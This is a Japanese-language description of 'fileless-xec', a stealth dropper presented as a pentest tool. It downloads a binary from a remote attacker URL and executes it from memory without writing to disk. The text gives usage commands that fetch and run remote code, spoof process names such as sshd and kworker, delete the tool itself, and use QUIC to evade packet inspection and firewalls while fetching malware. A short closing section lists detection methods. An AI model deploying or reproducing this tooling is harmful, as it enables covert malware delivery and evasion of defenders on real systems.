
ステルス型ドロッパー:リモートバイナリをディスクに保存せずに実行します(HTTP3対応、ICMP対応、不可視のトラック、クロスプラットフォーム、…)

👋 確かに便利で、主に楽しみのため、0x00の記事に大まかに触発されました
ペネトレーションテストでの使用: fileless-xec は、ターゲットマシン上で攻撃者マシンにあるバイナリファイルをステルスに実行するために使用されます
fileless-xec を使用すると、リモートのバイナリをディスクに保存せずにメモリから直接ローカルマシンで実行できます
fileless-xec [binary_url] (~curl | sh のバイナリ版)fileless-xec -n /usr/sbin/sshd [binary_url]tty から切り離す: fileless-xec --setsid [...]
writeNsleep バイナリをローカルで実行したいとします。
まず、リモートで Python HTTP サーバーを起動します。
ローカルでは fileless-xec を使用し、バイナリ writeNsleep の実行時に /usr/sbin/sshd という名前になりすまします(ステルス性と楽しみのため)。writeNsleep が起動すると、fileless-xec は自身を削除します(--self-remove)
fileless-xec 自己削除fileless-xec サーバーモード
fileless-xecfileless-xec は起動後に自己削除されますリモートのバイナリファイルは、memfd_create システムコールを使用してローカルに保存されます。このシステムコールは、ファイルシステムにマッピングされない メモリディスク 内に保存します(つまり、ls では見つけられません)。
注: システムコール memfd_create は macOS には存在しません。
次に、fexecve システムコールを使用して実行します(現在 syscall Go ライブラリでは提供されていないため、独自に実装しています)。
fexecveを使用するとプログラムを実行できますが、実行するプログラムをフルパスではなくファイル記述子を使用して参照します。
|
`-Q`/`http3` フラグで有効にします。 `go run ./test/http3/light-server.go -p LISTENING PORT` を実行すると、http3 をサポートする軽量 Web rootfs サーバーをセットアップできます(これは `python3 -m http.server ` の http3 版です) `test/http3/genkey.sh` を使用して証明書と鍵を生成します。 |
QUIC UDP 別名 http3 は、サーバーへの接続に必要なラウンドトリップタイム(RTT)を短縮することで、検索や動画ストリーミングなどの遅延に敏感なオンライン Web アプリケーションを高速化する新世代のインターネットプロトコルです。
QUIC は TLS と同等の独自の暗号化を使用しているため(これは将来標準化されたバージョンで変更される予定ですが)、アプリケーション制御と可視性を提供する第3世代ファイアウォールは QUIC トラフィックの制御と監視に困難をきたします。
実際に fileless-xec をドロッパーとして使用する場合(テスト目的または許可を得た場合のみ)、パケット分析によって検出される可能性のあるマルウェアやその他のファイルを実行したいと思われるでしょう。したがって、Quic を有効にすると、パケット分析をバイパスしてマルウェアを取得 できます。
また、ファイアウォールがトラフィックの許可/ブロックのみに使用されている場合、ファイアウォールルールが UDP プロトコルを忘れていると、リクエストがレーダーの下を通過する 可能性があります。
メモリディスク上には存在しませんが、実行中のプログラムは例えば ps コマンドを使用して検出される可能性があります。
fileless-xec --name <fake_name> <binary_raw_url> デフォルトの名前は [kworker/u:0] です。
fileless-xec --setsid <binary_raw_url>。
以下の方法で検出される可能性があります:
$ lsof | grep memfd
または opensnoop(ただし execsnoop では検出されない)
または execve システムコールを監査する seccomp プロファイル(しかし、例えば sleep コマンドも execve を使用するため、非常に過剰である)